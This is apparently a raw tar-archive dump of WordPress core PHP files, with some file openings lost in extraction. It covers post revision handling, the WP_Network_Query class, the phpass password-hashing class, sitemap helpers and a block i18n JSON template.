) ) { $fields = array_keys( _wp_post_revision_fields( $revision ) ); } $update = array(); foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[ $field ] = $revision[ $field ]; } if ( ! $update ) { return false; } $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); // Since data is from DB. $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) { return $post_id; } // Update last edit user. update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|WP_Post $revision_id Revision ID or revision object. * @return WP_Post|false|null Null or false if error, deleted post object if success. */ function wp_delete_post_revision( $revision_id ) { $revision = wp_get_post_revision( $revision_id ); if ( ! $revision ) { return $revision; } $delete = wp_delete_post( $revision->ID ); if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param WP_Post $revision Post revision object. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @see get_children() * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`. * @param array|null $args Optional. Arguments for retrieving post revisions. Default null. * @return array An array of revisions, or an empty array if none. */ function wp_get_post_revisions( $post_id = 0, $args = null ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) { return array(); } $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true, ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) { return array(); } $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit', ) ); $revisions = get_children( $args ); if ( ! $revisions ) { return array(); } return $revisions; } /** * Returns the url for viewing and potentially restoring revisions of a given post. * * @since 5.9.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`. * @return null|string The URL for editing revisions on the given post, otherwise null. */ function wp_get_post_revisions_url( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post instanceof WP_Post ) { return null; } // If the post is a revision, return early. if ( 'revision' === $post->post_type ) { return get_edit_post_link( $post ); } if ( ! wp_revisions_enabled( $post ) ) { return null; } $revisions = wp_get_post_revisions( $post->ID, array( 'posts_per_page' => 1 ) ); if ( 0 === count( $revisions ) ) { return null; } $revision = reset( $revisions ); return get_edit_post_link( $revision ); } /** * Determine if revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) !== 0; } /** * Determine how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) { $num = -1; } else { $num = (int) $num; } if ( ! post_type_supports( $post->post_type, 'revisions' ) ) { $num = 0; } /** * Filters the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ $num = apply_filters( 'wp_revisions_to_keep', $num, $post ); /** * Filters the number of revisions to save for the given post by its post type. * * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `wp_post_revisions_to_keep` * - `wp_page_revisions_to_keep` * * @since 5.8.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ $num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post ); return (int) $num; } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private * * @param WP_Post $post * @return WP_Post|false */ function _set_preview( $post ) { if ( ! is_object( $post ) ) { return $post; } $preview = wp_get_post_autosave( $post->ID ); if ( is_object( $preview ) ) { $preview = sanitize_post( $preview ); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; } add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) { $id = (int) $_GET['preview_id']; if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) { wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 ); } add_filter( 'the_preview', '_set_preview' ); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private * * @param array $terms * @param int $post_id * @param string $taxonomy * @return array */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { $post = get_post(); if ( ! $post ) { return $terms; } if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' !== $taxonomy || 'revision' === $post->post_type ) { return $terms; } if ( 'standard' === $_REQUEST['post_format'] ) { $terms = array(); } else { $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ); if ( $term ) { $terms = array( $term ); // Can only have one post format. } } return $terms; } /** * Filters post thumbnail lookup to set the post thumbnail. * * @since 4.6.0 * @access private * * @param null|array|string $value The value to return - a single metadata value, or an array of values. * @param int $post_id Post ID. * @param string $meta_key Meta key. * @return null|array The default return value or the post thumbnail meta array. */ function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) { $post = get_post(); if ( ! $post ) { return $value; } if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] ) || $post->ID != $post_id || '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type || $post_id != $_REQUEST['preview_id'] ) { return $value; } $thumbnail_id = (int) $_REQUEST['_thumbnail_id']; if ( $thumbnail_id <= 0 ) { return ''; } return (string) $thumbnail_id; } /** * Gets the post revision version. * * @since 3.6.0 * @access private * * @param WP_Post $revision * @return int|false */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) { $revision = get_object_vars( $revision ); } elseif ( ! is_array( $revision ) ) { return false; } if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) { return (int) $matches[1]; } return 0; } /** * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1 * * @since 3.6.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Post $post Post object * @param array $revisions Current revisions of the post * @return bool true if the revisions were upgraded, false if problems */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively. $lock = "revision-upgrade-{$post->ID}"; $now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is. $locked = get_option( $lock ); if ( ! $locked ) { // Can't write to the lock, and can't read the lock. // Something broken has happened. return false; } if ( $locked > $now - 3600 ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue. } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened. if ( false === $this_revision_version ) { continue; } // 1 is the latest revision version, so we're already up to date. // No need to add a copy of the post as latest revision. if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version. $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); /* * If this revision is the oldest revision of the post, i.e. no $prev_revision, * the correct post_author is probably $post->post_author, but that's only a good guess. * Update the revision version only and Leave the author as-is. */ if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) { $update['post_author'] = $prev_revision->post_author; } } // Upgrade this revision. $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) { wp_cache_delete( $this_revision->ID, 'posts' ); } } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) { wp_save_post_revision( $post->ID ); } return true; } class-wp-network-query.php000064400000045465147177035020011664 0ustar00 '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * Query vars set by the user. * * @since 4.6.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @var array */ public $query_var_defaults; /** * List of networks located by the query. * * @since 4.6.0 * @var array */ public $networks; /** * The amount of found networks for the current query. * * @since 4.6.0 * @var int */ public $found_networks = 0; /** * The number of pages. * * @since 4.6.0 * @var int */ public $max_num_pages = 0; /** * Constructor. * * Sets up the network query, based on the query vars passed. * * @since 4.6.0 * * @param string|array $query { * Optional. Array or query string of network query parameters. Default empty. * * @type int[] $network__in Array of network IDs to include. Default empty. * @type int[] $network__not_in Array of network IDs to exclude. Default empty. * @type bool $count Whether to return a network count (true) or array of network objects. * Default false. * @type string $fields Network fields to return. Accepts 'ids' (returns an array of network IDs) * or empty (returns an array of complete network objects). Default empty. * @type int $number Maximum number of networks to retrieve. Default empty (no limit). * @type int $offset Number of networks to offset the query. Used to build LIMIT clause. * Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true. * @type string|array $orderby Network status or array of statuses. Accepts 'id', 'domain', 'path', * 'domain_length', 'path_length' and 'network__in'. Also accepts false, * an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'. * @type string $order How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $domain Limit results to those affiliated with a given domain. Default empty. * @type string[] $domain__in Array of domains to include affiliated networks for. Default empty. * @type string[] $domain__not_in Array of domains to exclude affiliated networks for. Default empty. * @type string $path Limit results to those affiliated with a given path. Default empty. * @type string[] $path__in Array of paths to include affiliated networks for. Default empty. * @type string[] $path__not_in Array of paths to exclude affiliated networks for. Default empty. * @type string $search Search term(s) to retrieve matching networks for. Default empty. * @type bool $update_network_cache Whether to prime the cache for found networks. Default true. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'network__in' => '', 'network__not_in' => '', 'count' => false, 'fields' => '', 'number' => '', 'offset' => '', 'no_found_rows' => true, 'orderby' => 'id', 'order' => 'ASC', 'domain' => '', 'domain__in' => '', 'domain__not_in' => '', 'path' => '', 'path__in' => '', 'path__not_in' => '', 'search' => '', 'update_network_cache' => true, ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parses arguments passed to the network query with default query parameters. * * @since 4.6.0 * * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the network query vars have been parsed. * * @since 4.6.0 * * @param WP_Network_Query $query The WP_Network_Query instance (passed by reference). */ do_action_ref_array( 'parse_network_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving networks. * * @since 4.6.0 * * @param string|array $query Array or URL query string of parameters. * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_networks(); } /** * Gets a list of networks matching the query vars. * * @since 4.6.0 * * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function get_networks() { $this->parse_query(); /** * Fires before networks are retrieved. * * @since 4.6.0 * * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ do_action_ref_array( 'pre_get_networks', array( &$this ) ); $network_data = null; /** * Filters the network data before the query takes place. * * Return a non-null value to bypass WordPress' default network queries. * * The expected return type from this filter depends on the value passed * in the request query vars: * - When `$this->query_vars['count']` is set, the filter should return * the network count as an integer. * - When `'ids' === $this->query_vars['fields']`, the filter should return * an array of network IDs. * - Otherwise the filter should return an array of WP_Network objects. * * Note that if the filter returns an array of network data, it will be assigned * to the `networks` property of the current WP_Network_Query instance. * * Filtering functions that require pagination information are encouraged to set * the `found_networks` and `max_num_pages` properties of the WP_Network_Query object, * passed to the filter by reference. If WP_Network_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 5.2.0 * @since 5.6.0 The returned array of network data is assigned to the `networks` property * of the current WP_Network_Query instance. * * @param array|int|null $network_data Return an array of network data to short-circuit WP's network query, * the network count as an integer if `$this->query_vars['count']` is set, * or null to allow WP to run its normal queries. * @param WP_Network_Query $query The WP_Network_Query instance, passed by reference. */ $network_data = apply_filters_ref_array( 'networks_pre_query', array( $network_data, &$this ) ); if ( null !== $network_data ) { if ( is_array( $network_data ) && ! $this->query_vars['count'] ) { $this->networks = $network_data; } return $network_data; } // $args can include anything. Only use the args defined in the query_var_defaults to compute the key. $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); // Ignore the $fields, $update_network_cache arguments as the queried result will be the same regardless. unset( $_args['fields'], $_args['update_network_cache'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'networks' ); $cache_key = "get_network_ids:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'networks' ); if ( false === $cache_value ) { $network_ids = $this->get_network_ids(); if ( $network_ids ) { $this->set_found_networks(); } $cache_value = array( 'network_ids' => $network_ids, 'found_networks' => $this->found_networks, ); wp_cache_add( $cache_key, $cache_value, 'networks' ); } else { $network_ids = $cache_value['network_ids']; $this->found_networks = $cache_value['found_networks']; } if ( $this->found_networks && $this->query_vars['number'] ) { $this->max_num_pages = ceil( $this->found_networks / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $network_ids is actually a count in this case. return (int) $network_ids; } $network_ids = array_map( 'intval', $network_ids ); if ( 'ids' === $this->query_vars['fields'] ) { $this->networks = $network_ids; return $this->networks; } if ( $this->query_vars['update_network_cache'] ) { _prime_network_caches( $network_ids ); } // Fetch full network objects from the primed cache. $_networks = array(); foreach ( $network_ids as $network_id ) { $_network = get_network( $network_id ); if ( $_network ) { $_networks[] = $_network; } } /** * Filters the network query results. * * @since 4.6.0 * * @param WP_Network[] $_networks An array of WP_Network objects. * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) ); // Convert to WP_Network instances. $this->networks = array_map( 'get_network', $_networks ); return $this->networks; } /** * Used internally to get a list of network IDs matching the query vars. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query. */ protected function get_network_ids() { global $wpdb; $order = $this->parse_order( $this->query_vars['order'] ); // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'network__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "$wpdb->site.id $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "$wpdb->site.id"; } // Parse network IDs for an IN clause. if ( ! empty( $this->query_vars['network__in'] ) ) { $this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )'; } // Parse network IDs for a NOT IN clause. if ( ! empty( $this->query_vars['network__not_in'] ) ) { $this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )'; } if ( ! empty( $this->query_vars['domain'] ) ) { $this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] ); } // Parse network domain for an IN clause. if ( is_array( $this->query_vars['domain__in'] ) ) { $this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )"; } // Parse network domain for a NOT IN clause. if ( is_array( $this->query_vars['domain__not_in'] ) ) { $this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )"; } if ( ! empty( $this->query_vars['path'] ) ) { $this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] ); } // Parse network path for an IN clause. if ( is_array( $this->query_vars['path__in'] ) ) { $this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )"; } // Parse network path for a NOT IN clause. if ( is_array( $this->query_vars['path__not_in'] ) ) { $this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )"; } // Falsey search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], array( "$wpdb->site.domain", "$wpdb->site.path" ) ); } $join = ''; $where = implode( ' AND ', $this->sql_clauses['where'] ); $groupby = ''; $clauses = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the network query clauses. * * @since 4.6.0 * * @param string[] $clauses An associative array of network query clauses. * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $clauses ), &$this ) ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->site $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; $this->request = " {$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']} "; if ( $this->query_vars['count'] ) { return (int) $wpdb->get_var( $this->request ); } $network_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $network_ids ); } /** * Populates found_networks and max_num_pages properties for the current query * if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_networks() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found network count. * * @since 4.6.0 * * @param string $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Network_Query $network_query The `WP_Network_Query` instance. */ $found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this ); $this->found_networks = (int) $wpdb->get_var( $found_networks_query ); } } /** * Used internally to generate an SQL string for searching across multiple columns. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $search Search string. * @param string[] $columns Array of columns to search. * @return string Search SQL. */ protected function get_search_sql( $search, $columns ) { global $wpdb; $like = '%' . $wpdb->esc_like( $search ) . '%'; $searches = array(); foreach ( $columns as $column ) { $searches[] = $wpdb->prepare( "$column LIKE %s", $like ); } return '(' . implode( ' OR ', $searches ) . ')'; } /** * Parses and sanitizes 'orderby' keys passed to the network query. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $allowed_keys = array( 'id', 'domain', 'path', ); $parsed = false; if ( 'network__in' === $orderby ) { $network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) ); $parsed = "FIELD( {$wpdb->site}.id, $network__in )"; } elseif ( 'domain_length' === $orderby || 'path_length' === $orderby ) { $field = substr( $orderby, 0, -7 ); $parsed = "CHAR_LENGTH($wpdb->site.$field)"; } elseif ( in_array( $orderby, $allowed_keys, true ) ) { $parsed = "$wpdb->site.$orderby"; } return $parsed; } /** * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary. * * @since 4.6.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'ASC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } class-phpass.php000064400000015053147177035020007670 0ustar00 in 2004-2006 and placed in # the public domain. Revised in subsequent years, still public domain. # # There's absolutely no warranty. # # The homepage URL for this framework is: # # http://www.openwall.com/phpass/ # # Please be sure to update the Version line if you edit this file in any way. # It is suggested that you leave the main version number intact, but indicate # your project name (after the slash) and add your own revision information. # # Please do not change the "private" password hashing method implemented in # here, thereby making your hashes incompatible. However, if you must, please # change the hash type identifier (the "$P$") to something different. # # Obviously, since this code is in the public domain, the above are not # requirements (there can be none), but merely suggestions. # /** * Portable PHP password hashing framework. * * @package phpass * @version 0.5 / WordPress * @link https://www.openwall.com/phpass/ * @since 2.5.0 */ class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function __construct($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime(); if (function_exists('getmypid')) $this->random_state .= getmypid(); } function PasswordHash($iteration_count_log2, $portable_hashes) { self::__construct($iteration_count_log2, $portable_hashes); } function get_random_bytes($count) { $output = ''; if (@is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= md5($this->random_state, TRUE); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) === $output) $output = '*1'; $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id !== '$P$' && $id !== '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) !== 8) return $output; # We were kind of forced to use MD5 here since it's the only # cryptographic primitive that was available in all versions # of PHP in use. To implement our own low-level crypto in PHP # would have resulted in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } $random = ''; if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) === 60) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) === 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { if ( strlen( $password ) > 4096 ) { return false; } $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] === '*') $hash = crypt($password, $stored_hash); # This is not constant-time. In order to keep the code simple, # for timing safety we currently rely on the salts being # unpredictable, which they are at least in the non-fallback # cases (that is, when we use /dev/urandom and bcrypt). return $hash === $stored_hash; } } sitemaps.php000064400000006246147177035020007120 0ustar00init(); /** * Fires when initializing the Sitemaps object. * * Additional sitemaps should be registered on this hook. * * @since 5.5.0 * * @param WP_Sitemaps $wp_sitemaps Sitemaps object. */ do_action( 'wp_sitemaps_init', $wp_sitemaps ); } return $wp_sitemaps; } /** * Gets an array of sitemap providers. * * @since 5.5.0 * * @return WP_Sitemaps_Provider[] Array of sitemap providers. */ function wp_get_sitemap_providers() { $sitemaps = wp_sitemaps_get_server(); return $sitemaps->registry->get_providers(); } /** * Registers a new sitemap provider. * * @since 5.5.0 * * @param string $name Unique name for the sitemap provider. * @param WP_Sitemaps_Provider $provider The `Sitemaps_Provider` instance implementing the sitemap. * @return bool Whether the sitemap was added. */ function wp_register_sitemap_provider( $name, WP_Sitemaps_Provider $provider ) { $sitemaps = wp_sitemaps_get_server(); return $sitemaps->registry->add_provider( $name, $provider ); } /** * Gets the maximum number of URLs for a sitemap. * * @since 5.5.0 * * @param string $object_type Object type for sitemap to be filtered (e.g. 'post', 'term', 'user'). * @return int The maximum number of URLs. */ function wp_sitemaps_get_max_urls( $object_type ) { /** * Filters the maximum number of URLs displayed on a sitemap. * * @since 5.5.0 * * @param int $max_urls The maximum number of URLs included in a sitemap. Default 2000. * @param string $object_type Object type for sitemap to be filtered (e.g. 'post', 'term', 'user'). */ return apply_filters( 'wp_sitemaps_max_urls', 2000, $object_type ); } /** * Retrieves the full URL for a sitemap. * * @since 5.5.1 * * @param string $name The sitemap name. * @param string $subtype_name The sitemap subtype name. Default empty string. * @param int $page The page of the sitemap. Default 1. * @return string|false The sitemap URL or false if the sitemap doesn't exist. */ function get_sitemap_url( $name, $subtype_name = '', $page = 1 ) { $sitemaps = wp_sitemaps_get_server(); if ( ! $sitemaps ) { return false; } if ( 'index' === $name ) { return $sitemaps->index->get_index_url(); } $provider = $sitemaps->registry->get_provider( $name ); if ( ! $provider ) { return false; } if ( $subtype_name && ! in_array( $subtype_name, array_keys( $provider->get_object_subtypes() ), true ) ) { return false; } $page = absint( $page ); if ( 0 >= $page ) { $page = 1; } return $provider->get_sitemap_url( $subtype_name, $page ); } block-i18n.json000064400000000474147177035020007321 0ustar00{ "title": "block title", "description": "block description", "keywords": [ "block keyword" ], "styles": [ { "label": "block style label" } ], "variations": [ { "title": "block variation title", "description": "block variation description", "keywords": [ "block variation keyword" ] } ] } canonical.php000064400000100732147177035020007215 